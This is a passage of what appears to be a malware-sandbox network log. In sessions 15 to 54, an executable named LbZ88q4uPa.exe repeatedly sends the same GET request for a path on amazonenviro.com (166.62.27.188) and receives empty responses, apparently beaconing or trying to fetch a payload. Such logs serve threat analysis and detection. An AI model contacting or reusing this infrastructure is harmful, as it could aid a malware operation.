2025-01-14 07:23:22 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:22 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:22 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49767	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:23 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:24 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:24 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49769	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:25 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:26 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:26 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49771	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:27 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:27 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:27 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49773	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:28 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:29 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:29 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49775	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:30 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:31 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:30 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49777	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:32 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:32 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:32 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49779	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:33 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:34 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:34 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49781	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:35 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:35 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:35 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49783	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:37 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:37 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:37 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49785	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:38 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:39 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:39 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49787	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:40 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:41 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:40 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49789	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:42 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:42 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:42 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49791	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:43 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:44 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:44 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49793	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:45 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:46 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:45 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49795	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:47 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:47 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:47 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49797	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:48 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:49 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:49 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49799	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:50 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:50 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:50 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49801	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:51 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:52 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:52 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49803	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:53 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:54 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:53 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49805	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:55 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:55 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:55 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49808	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:56 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:57 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:57 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49811	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:23:58 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:23:58 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:23:58 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49818	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:00 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:00 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:00 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49830	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:01 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:02 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:02 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49846	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:03 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:04 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:03 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49859	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:05 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:05 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:05 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49871	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:06 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:07 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:07 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49883	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:08 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:08 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:08 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49895	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:10 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:10 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:10 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49907	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:11 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:12 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:12 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49919	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:13 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:13 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:13 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49930	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:14 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:15 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:15 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49942	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:16 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:17 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:16 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49954	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:18 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:18 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:18 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49967	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:19 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:20 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:20 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49982	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:21 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:21 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:21 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49992	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:23 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:23 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:23 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50004	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:24 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:25 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:24 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50016	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:26 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:26 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:26 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50028	166.62.27.188	443	7308	C:\Users\user\Desktop\LbZ88q4uPa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:27 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
